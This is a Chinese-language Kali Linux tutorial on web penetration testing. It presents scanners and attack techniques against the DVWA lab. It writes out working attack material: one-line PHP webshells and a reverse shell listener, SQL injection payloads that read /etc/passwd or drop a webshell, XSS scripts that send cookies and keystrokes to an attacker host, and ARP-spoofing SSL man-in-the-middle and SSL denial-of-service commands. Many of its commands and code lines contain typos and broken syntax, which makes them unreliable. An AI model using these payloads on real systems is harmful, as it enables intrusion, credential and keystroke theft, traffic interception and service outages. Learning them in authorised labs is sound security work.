Kali使用教程(三):Web渗透

HTTP协议

明文:
无内建的机密性安全机制
嗅探或代理截断可查看全部明文信息
https只能提高传输层安全
无状态:
每一次客户端和服务器端的通信都是独立的过程
WEB应用需要跟踪客户端会话(多步通信)
不使用cookie的应用,客户端每次请求都要重新身份验证(不现实)
Session用于在用户身份验证后跟踪用户行为轨迹:
提高用户体验,但增加了攻击向量

1
2
3
4
5
6
7
8
9
Cycle:
请求/响应
重要的header:
Set-Cookie:服务器发给客户端的SessionID ( 被窃取的风险)
Content-Length:响应body部分的字节长度
Location:重定向用户到另一个页面,可识别身份认证后允许访问的页面
Cookie:客户端发回给服务器证明用户状态的信息(头:值成对出现)
Referrer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容
易被修改绕过

HTTP协议状态码

1
2
3
4
5
6
7
8
9
10
服务端响应的状态码表示响应的结果类型(5大类50多 个具体响应码)
100s:服务器响应的信息,通常表示服务器还有后续处理,很少出现
200s:请求被服务器成功接受并处理后返回的响应结果
300s:重定向,通常在身份认证成功后重定向到一个安全页面(301/302)
400s:表示客户端请求错误
401:需要身份验证
403:拒绝访问
404:目标未发现
500s:服务器内部错误(503: 服务不可用)
http://www.w3.org/Protocols/rfc26 1 6/rfc2616 sec 10.html

侦察

Httrack

使用Httrack去下载目标网站资源,减少与目标系统的交互

扫描工具

NIKTO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Perl语言开发的开源web安全扫描器
软件版本
搜索存在安全隐患的文件
服务器配置漏洞
插件: nikto -list-plugins
nikto -update
cirt.net
nikto -host http://1.1.1.1
nikto -host 192.168.1.1 -ssl -port 443
-vhost

Space - report current scan status
v - verbose mode on/off #可视化扫描
d - debug mode on/off
e - error reporting on/off
p - progress reporting on/off
r- redirect display on/off
C - cookie display on/off
a - auth display on/off
q - quit
N - next host
P - Pause

vega

1
2
3
4
5
JAVA编写的开源Web扫描器:
扫描模式
代理模式
爬站、处理表单、注入测试
支持SSL : http://vega/ca.crt

skipfish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
C语言编写
实验性的主动web安全评估工具
递归爬网
基于字典的探测
速度较快
多路单线程,全异步网络I/O,消除内存管理和调度开销
启发式自动内容识别
误报较低

skipfish -0 test http://1.1.1.1
skipfish -0 test @url.txt
skipfish -0 test -S complet.wl -W a.wl http://1.1.1.1 #字典
-I :只检查包含string的URL
-X :不检查包含string的URL #logout
-K :不对指定参数进行Fuzz测试
#Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。
-D :跨站点爬另外一个域 #即扫描指定域名会跳转的域
-l :每秒最大请求数
-m :每IP最大并发连接数
--config :指定配置文件
身份认证:
skipfish -A user:pass -0 test http://1.1.1.1 #以表单方式
skipfish -C "name=val" -0 test http://1.1.1.1 #以cookie方式
示例:
sudo skipfish -o test1 -I /dvwa/ http://192.168.2.105/dvwa

尝试扫描dvwa靶场,结果如下

image-20200616201151479

w3af

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Web Application Attack and Audit Framework,基于python语言开发
此框架的目标是帮助你发现和利用所有WEB应用程序漏洞
9大类近150个plugin
audit(常用)
infrastructure
grep
evasion
mangle
auth
bruteforce
output
crawl(常用)
安装:
cd ~
apt-get update
apt-get install -y python-pip w3af
pip install -upgrade pip
git clone https://github.com/andresriancho/w3af.git
cd w3af
./w3af_console ( ./w3af_ gui)
apt-get build-dep python-lxml
./tmp/w3af_ dependency_ install.sh

Arachni

1
2
3
4
5
6
Kall自带了旧的arachni阉割版
安装
http://www.arachni-scanner.com/download/Linux
tar xvf arachni.tar.gz
http://localhost:9292/
admin@admin.admin / administrator
  • Profile

    • Import
    • Export
    • New
  • Dispatcher(使用RPC服务进行分布式扫描)

    • ./arachni_ rpcd –address=127.0.0.1 –port=1111 –nickname=test1
  • Grid(加入组,实现负载均衡)

    • ./arachni_ rpcd - nickname=test2 –address=127.0.0.1 -neighbour=127.0.0.1:1111
  • Scan

OWASP_ZAP

强大的主动扫描工具

1
2
3
4
5
6
7
8
在新版本kali中已经没有集成该工具,需要自行到官网下载
WEB Application集成渗透测试和漏洞挖掘工具
开源免费跨平台简单易用
截断代理
主动、被动扫描
Fuzzy、暴力破解
API
- http://zap/

阶段代理:首先在firefox浏览器配置OWASP的代理:ip+端口

image-20200617163535961

扫描dvwa

image-20200617170103014

Burpsuite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Web安全工具中的瑞士军刀
统一的集成工具发现全部现代WEB安全漏洞
PortSwigger公司开发
Burp Free
Burp Professional
http://www .portswigger.net
所有的工具共享一个能处理并显示HTTP消息的可扩展框架,模块之间无缝交
换信息。
Proxy:
Options
Invisible (主机头/多目标域名)
#即非浏览器客户端,不支持http代理时使用
CA (导入/导出)
Intercept (入站 /出站)
Response modify
Target: #这里主要显示目标站点结构
Scope (logout)
Filter
Comparing site map
Intruder: #侵入,使用各类字典、正则、生成器来匹配登录账号或密码
Position:#进行匹配替换的请求头
Payloads:#填充数据的方式
#可以从Target入口找到目标站点,右键send到Intruder
Repeater:#对指定页面进行request和查看response。同样可以通过send进入
Request History
Change request method
Change body encoding
Copy as curl command
Convert selection
Repeater菜单
Engagement tools--generate csrf PoC
Follow redirections
Process cookies in redirections
Sequencer: #分析cookie的随机性,含各种指标
分析程序中可预测的数据
Session cookies
anti-CSRF tokens
Start live capture
Analyze (数据越多分析越准确)
伪随机数算法
Character-level
Bit-level
FIPS-美国联邦信息 处理标准(Federal Information Processingstandard)

手动漏洞挖掘

反弹shell

1
2
3
4
5
6
7
8
9
10
PHP反弹shell:
/us/share/webshells/php/php-reverse-shell.php #kali自带的反弹木马
nc -lvp 4444 #监听弹回的shell
File:
Whereis
lfconfig
写入webshell
echo "<?php \$cmd= \$_ GET["'cmd";system(\$cmd);?>" >
/var/www/3.php
#关于一句话反弹shell可以参考:https://zhuanlan.zhihu.com/p/30170345

会话sessionID

1
2
3
4
5
6
7
8
9
10
Xss / cookie importer
SessionID in URL
嗅探
SessionID长期不变/永久不变
SessionID生成算法:
Sequencer
私有算法
预判下- -次登陆时生成的SessionID
登出后返回测试
salt #加盐

文件上传漏洞

1
2
3
4
5
6
7
8
9
<?php echo shell_exec($_ GET['cmd']);?>
直接上传webshell
修改文件类型上传webshell
Mimetype-文件头、 扩展名
# 使用burpsuite阶段代理,然后强制修改请求头(能过medium)
# Mimetype会根据文件前10个字节判断文件类型,所以有时候修改后缀是无效的
# 对于high级别,可以修改文件名为xx.php.jpg。可以绕过文件后缀检测
# 一些严格检测会检测文件字节数据,判断文件类型。需要直接修改文件内容上传
# 一般会对上传文件目录设置只读权限

SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏	览器
用户登录判断:
SELECT * FROM users WHERE user= 'uname' AND password= ' pass'
SELECT * FROM users WHERE user=‘name' AND password=" OR "='
基于报错的检测方法(low)
'"%( )
基于布尔的检测
1' and '1'='1 / 1' and '1
1' and‘1'='2 / 1' and‘0
表列数/显示信息位于哪一列
'order by 9-- #按查询列号排序(注释符: -- )
select *时表字段数=查询字段数
联合查询
' union select 1,2--
' union all select database(),2--
读取文件
' union SELECT null, load_ file('/etc/passwd)--+
写入文件
' union select null,"<?php passthru($_ GET['cmd]); ?>" INTO DUMPFILE
"/var/www/a.php" -+
Mysql账号
cat php-revers-shell.php | xxd -PS | tr-d ^\n'
' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--
保存下载数据库
' union select null, concat(user,0x3a,password) from users INTOOUTFILE
'/tmp/a.db-

SQL盲注

1
2
3
4
5
6
7
不显示数据库内建的报错信息
内建的报错信息帮助开发人员发现和修复问题
报错信息提供关于系统的大量有用信息
当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲注
思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断
1' and 1=1--+
1' and 1=2--+

SQLMAP自动注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
开源sq|注入漏洞检测、利用工具
检测动态页面中get/post参数、cookie、 http头
数据榨取
文件系统访问
操作系统命令执行
引擎强大、特性丰富
Xss漏洞检测
五种漏洞检测技术
基于布尔的盲注检测
基于时间的盲注检测
'and (select * from (selectseel(0)))a)-+
基于错误的检测
基于UNION联合查询的检测
适用于通过for循环直接输出联合查询结果,否则只显示第-项结果
基于堆叠查询的检测
堆叠多个查询语句
适用于非select的数据修改、删除的操作
支持的数据库管理系统DBMS
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase,SAP MaxDB
Get方法
sqlmap -U "http://192.1 68.20.10/mutillidae/index.php?page=user-
info.php&username= 1 1 &password=22&user-info-php-submit- button=View+Account+Details" -P username -f
扫描URL列表文件
http://1.1.1.1/vuIn1 .php?q=foobar
http://1.1.1.1/vuln3/id/1*
sqlmap. -m list.txt
扫描google搜索结果
sqlmap.py -g "inud:\".php?id=1\"
POST方法
使用http请求文件(burpsuite )
sqlmap 1 request.txt
使用burpsuite log文件
sqlmap 1 log.txt
HTTPS
sqlmap -U "https://1.1.1.1 /a,php?id= 1:8843" --force-ss
扫描配置文件
sqlmap -C sqlmap.conf
数据段: --data
get / post都适用
sqlmap -U "http://1.1.1.1/a.php" -data="user= l&pass=2" -f
变量分隔符: -param-del
http://1.1.1.l/a.php?q=foo;id=1 // ; &
sqlmap -U "http://1.1.1.1 /a.php" -data="q=foo;id=1" -param-del="," -f
cookie头: --cookie
web应用需要基于cookie的身份认证
#检查cookie中的注入点(sqlmap自动测试),需要--level = 2级才会检测
Set-Cookie / -drop-set-cookie
-user-agent:
sqlmap/1.0-dex-0xxxx (http://sqlmap.org)
--random-agent #sqlmap的useragent很容易被服务器过滤掉,因此需要伪造成浏览器的
/usr/share/sqlmap/txt/user-agents.txt
sqlmap检查user-agent中的注入点: #Level>= 3
APP/WAF/IPS/IDS过滤异常user-agent时报错
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP
status code, try to force the HTTP User-Agent header with option ser
agent or --random-agent
Host头: --host
#Level =5
Referer头: -referrer
#Level >=3
额外的header: --headers
每个头单独一行(名称区分大小写)
sqlmap. -∪"http://l.1.1.1/a.php?id=1" -
headers=' "host:www.a.com\nUser-Agent:yuanfh"
--method=GET/POST
--skip-urlencode
默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使
用原始字符提交数据
--keep-alive
使用http(s)长连接,性能好
与--proxy参数不兼容
长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
--tamper
混淆脚本,用于绕过应用层过滤、IPS、 WAF
sqlmap -U "http://1.1.1.1/a.php?id=1" --
tamper=" tamper/between.py.tamper/randomcase.py.tamper/space2c
omment.py"-v 3

Mysql< 5.0 ,没有information schema 库
Mysql>= 5.0,但无权读取information. schema库
微软的access数据库,
默认无权读取MSysObjects库
--common-tables #对数据库表进行暴力破解(跑字典)
--common-columns #暴力破解数据库列
(Access系统表无列信息)

XSS

XSS攻击分为反射型,DOM型和持久型,持久性是注入到目标服务器,反射型是引诱用户点击跨站脚本;基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
攻击WEB客户端
客户端脚本语言
弹窗告警、广告
Javascript
在浏览器中执行
XSS (cross-site scripting)
通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的
注入客户端脚本代码
盗取cookie、
重定向
VBScript, ActiveX, or Flash
JavaScript
与Java语言无关
命名完全出于市场原因
使用最广的客户端脚本语言
使用场景
直接嵌入html: <script> alert('XSS'); </script>
元素标签事件: <body onload=alert('XSS')>
图片标签: <img src="avascript:alert('XSS');">
其他标签: <iframe>, <div>, and <link>
DOM对象,篡改页面内容

窃取cookie <!--通过外链引入跨站脚本-->
<script src=http://1.1.1.1/a.js></script>
a.js源码
var img = new Image();
img.src = "http://1.1.1.1/cookies ,php?cookie="+ document.cookie;
  • 攻击实例:键盘记录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#攻击代码
#Keylogger.js
document.onkeypress = function(evt) {
evt= evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURl(key)
http,open("PST,"http://192.1 68.20.8/keylogger.php." ,true);
http.setRequestHeader'"Content-type","application/x-www-form-urlencoded"),
http.send("key="+param);
}
}
#接收端
#Keylogger.php
<?php
$key=$POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
#引入XSS脚本到浏览器
<script src="http://1.1.1.1/keylogger.js"></script>
#点击下面的页面会跳转到初始网页,并开始记录键盘
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.20.8/keyloggerjs'></script>">xss</a>

反射型XSS和Xsser工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Xsser
命令行/图形化工具
绕过服务器端输入筛选
10进制/ 16进制编码
unescape()
xsser -u "http://1.1.1.1/dvwa/vuInerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=d23e469411707ff8210717e67c521a81" -s
-v --reverse-check
# -u代表url,-g代表get请求, -s代表请求次数统计, -v可视化,--reverse-check连接本机测试
-heuristic #检查被过滤的字符

#对payload编码,绕过服务器端筛选过滤
-Str Use method String.FromCharCode()
-Une Use Unescape() function
-Mix Mix String.FromCharCode() and Unescape()
-Dec Use Decimal encoding
-Hex Use Hexadecimal encoding
-Hes Use Hexadecimal encoding, with semicolons
-Dwo Encode vectors iIP addresses in DWORD
-Doo Encode vectors IP addresses in Octal
-Cem=CEM Try-manually- different Character Encoding Mutatiohs
(reverse obfuscation: good) -> (ex: 'Mix,Une,Str.Hex')

针对DVWA high安全级别进行XSS攻击,发现是无法攻击的

1
2
3
4
5
xsser -U "http://1.1.1.1/dwwa/vuInerabilities/" -g "xss_ r/?name=" -
cookie="security=high; PHPSESSID=d23e46941 1707f82107 17e67c521q817
-Cem=' Mix,Une,Str.Hex'
## high安全级别会使用htmlspecialchars()函数会将web代码转换成字符串
## 例如:< > 转换成 &lt; &gt;

存储型XSS

1
2
3
4
5
6
7
8
9
存储型XSS
长期存储于服务器端
每次用户访问都会被执行javascript脚本
Name: # 一般客户端表单会有长度限制
# 可以通过客户端修改html代码或者截断代理突破限制
<script src=http://1.1.1.1/a.js></script>
a.js源码:
var img = new Image();
img.src = "http://1.1.1.1:88/cookies.php?cookie="+document.cookie;

BEEF

浏览器漏洞利用框架

1
2
3
4
5
6
7
8
9
10
浏览器攻击面
应用普遍转移到B / S架构,浏览器成为统一客户端程序
结合社会,工程学方法对浏览器进行攻击
攻击浏览器用户
通过注,入的JS脚本,利用浏览器攻击其他网站
BeEF (Browser exploitation framework )
生成、交付payload
Ruby语言编写
服务器端:管理hooked客户端
客户端:运行于客户端浏览器的Javascript脚本(hook )

CSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Cross site request forgery #跨站请求伪造
与XSS经常混淆
从信任的角度来区分
XSS:利用用户对站点的信任
CSRF:利用站点对已经身份认证的信任
结合社工在身份认证会话过程中实现攻击
修改账号密码、个人信息(email、 收货地址)
发送伪造的业务请求(网银、购物、投票)
关注他人社交账号、推送博文
在用户非自愿、不知情的情况下提交请求
# DVWA低安全级别不会对修改密码过程进行确认验证
# 中安全级别会检测请求的跳转来源(refer字段)
# 高安全级别会首先验证旧密码
# burpsuite能够根据get请求自动生产对应的CSRF post请求
防御对策:
在请求和响应过程中检查是否存在anti-CSRF token名
检查服务器是否验证anti-CSRF token的名值
检查token中可编辑的字符串
检查referrer头是否可以伪造
Captcha
anti-CSRF token
Referrer头
降低会话超时时间

WEBSHELL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php echo shell exec($_ GET['cmd']);?> #一句话shell
中国菜刀: http://www.maicaidao.co/
可能被IDS、AV、WAF、扫描器软件发现查杀
WeBaCoo (Web Backdoor Cookie)
类终端的shell
编码通信内容通过cookie头传输,隐蔽性较强
cm:base64编码的命令
cn:服务器用于返回数据的cookie头的名
cp:返回信息定界符
生成服务端
webacoo -g -o a.php
客户端连接
webacoo -t -U http://1.1.1.1/a.php
Weevely:
隐蔽的类终端PHP Webshell
30多个管理模块
执行系统命令、浏览文件系统
检查服务器常见配置错误
创建正向、反向TCP Shell连接
通过目标计算机代理HTTP流量
从目标计算机运行端C ]扫描,渗透内网
支持连接密码

上面的工具在新版本kali已经不再提供;最新的webshell检测工具可以参照:https://www.cnblogs.com/xiaozi/p/12679777.html

HTTPS攻击

HTTPS存在多种实现的协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
全站HTTPS正成为潮流趋势
淘宝、百度
HTTPS的作用
CIA
解决的是信息传输过程中数据被篡改、窃取
加密:对称、非对称、单向
HTTPS攻击方法
降级攻击
解密攻击(明文、证书伪造)
协议漏洞、实现方法的漏洞、配置不严格
Secure socket layer #安全套接字协议
保证网络通信安全的加密协议
1994年由Netscape开发成为统一标准
1999年TLS(transport layer security)取代SSLv3
近年来发现的SSL协议漏洞使业界认为其漏洞已不可软件修复
Heartbleed
POODLE
BEAST
TLS当前最新版本1.2 #传输层安全协议
TLS/SSL、HTTPS、 HTTP over SSL通俗上表示同意含义
非对称加密算法 #一般用来加密交换密钥
Diffie Hellman key exchange
Rivest Shamir Adleman (RSA)
lliptic Curve Cryptography (ECC)
对称加密算法
Data Encryption Standard (DES) / 3DES
Advance Encryption Standard (AES) #主流
International Data Encryption Algorithm (IDEA)
Rivest Cipher 4 (RC4)
WEP、TLS/SSL、 RDP、 Secure shell
单向加密算法(HASH)
HASH算法 HASH值长度(bit)
-------------------------------------
MD5 128
SHA-1 160
SHA-2 224256384512
--------------------------------------
SHA-3已经设计完成,但尚末广泛使用
SHA-2是TLS 1.2 唯一支持的单向加密算法
碰撞攻击针对单向加密算法
两个不同的文件生成相同的HASH值
SSL的弱点
SSL是不同的对称、非对称、单向加密算法的组合加密实现(cipher suite)
加密算法 SSL实现中的用途
--------------------------------------------------------
RAS / Diffie-Hellman 密钥交换、身份认证
AES 加密数据,由RAS/DH完成密钥交换
HMAC-SHA2 摘要信息
--------------------------------------------------------
服务器端为提供更好的兼容性,选择支持大量过时cipher suite
协商过程中强迫降级加密强度
现代处理器计算能力可以在可接受的时间内破解过时加密算法
购买云计算资源破解

OpenSSL

1
2
3
4
5
6
7
8
9
10
11
Openssl
直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite
openssl S_ client -connect www.baudu.com:443
openssl s_ client -tls1_2 -cipher 'ECDH-RSA-RC4 SHA' -connect
www.taobao.com:443
密钥交换-身份认证-数据加密-HASH算法
openssls_ client -tls1_ 2 -cipher "NULL, EXPORT,LOW,DES" -connect
www.taobao.com:443 (协商低安全级别cipher suite)
可被破解的cipher suite
openssI ciphers -V "NULL, EXPORT,LOW,DES"
https://www. openssl.org/docs/ apps/ciphers.html

SSLyze

1
2
3
4
5
6
7
8
9
10
SSLyze
Python语言编写
检查SSL过时版本
检查存在弱点的cipher suite
扫描多站点时,支持来源文件
检查是否支持会话恢复
sslyze --regular www.taobao.com:443
Nmap
nmap --script=ssl-enum-ciphers.nse www.taobao.com
# ssl查询网站 https://www.sllabs.com/ssltest/

SSL/TLS中间人攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
SSLsplit
透明SSL/TLS中间人攻击工具
对客户端伪装成服务器,对服务器伪装成普通客户端
伪装服务器需要伪造证书
支持SSL/TLS加密的SMTP、POP3、 FTP等通信中间人攻击
利用openssl生成证书私钥
openssl genrsa -out ca.key 2048
利用私钥签名伪造根证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt #-x509国际标准
启动操作系统的路由功能
sysctl -w net.ipv4.ip_forward=1
Iptables端口转发规则
iptables -t nat -F #清空所有规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMABS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
iptables -t nat -L #查看所有规则
Arp欺骗
arpspoof -i ethO -t 1.1.1.2 -r 1.1.1.1
启动SSLsplit
mkdir -p test/logdir
sslsplit -D -l connect.log -j /root/test -S logdir/ -K ca.key -C ca.crt -ssl 0.0.0.0
8443 tcp 0.0.0.0 8080
被害者访问taobao、baidu、 mail.163.com
查看日志和浏览器证书及证书报错信息
安装服务器跟证节之后再次访问
## 注意:即便进行中间人攻击,依然难以破解登录密码,因为类似淘宝的登录页面会使用单独的加密控件
## sslstrip工具可以突破163邮箱的加密

SSL/TLS拒绝服务攻击

1
2
3
4
5
6
7
8
9
10
11
thc-ssl-dos
SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务
利用SSL secure Renegotiation特性,在单- :TCP连接中生成数千个SSL重连接请
求,造成服务器资源过载
与流量式拒绝服务攻击不同,the ssI-dos可以利用dsI线路打垮30G带宽的服务器
服务器平均可以处理300次/秒SSL握手请求
对SMTPS、POP3S等 服务同样有效
thc-ssl-dos 199.223.209.205 2083 --accept
对策
禁用SSL Renegotiation(重协商)、使用SSL Accelerator
通过修改thc-ssl-dos代码,可以绕过以上对策

补充:关于AJAX和WEB Service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
AJAX对渗透测试的挑战
异步请求数量多且隐蔽
触发AJAX请求的条件无规律
手动和截断代理爬网可能产生大量遗漏
AJAX爬网工具
ZAP
客户端代码审计
源码
Firebug
WEB Service
面向服务的架构(service oriented architecture )便于不同系统集成共享数据
和功能
尤其适合不想暴漏数据模型和程序逻辑而访问数据的场景
无页面
两种类型的WEB Service
Simple object access protocol (SOAP)
传统的Web service开发方法,xml是唯一 -的数据交换格式
要求安全性的应用更多采用
RESTful (Representational State Transfer architecture REST)
目前更多被采用的轻量web service, JSON是 首选数据交换格式
WEB Service安全考虑
使用API key或session token实现和跟踪身份认证
身份认证由服务器完成,而非客户端
APIkey、用户名、Session token永远不要通过URL发送
RESTful默认不提供任何安全机制,需要使用SSL/TLS保护传输数据安全
SOAP提供强于HTTPS的WS-security机制
使用OAuth或HMAC进行身份验证,HMAC身份认证使用C/S共享的密钥加密
API KEY
RESTful应只允许身份认证用户使用PUT、DELETE方法
使用随机token防止CSRT攻击
WEB Service安全考虑
对用户提交参数过滤,建议布署基于严格白名单的方法
报错信息消毒
直接对象引用应严格身份验证(点上公司以ID作为主索引)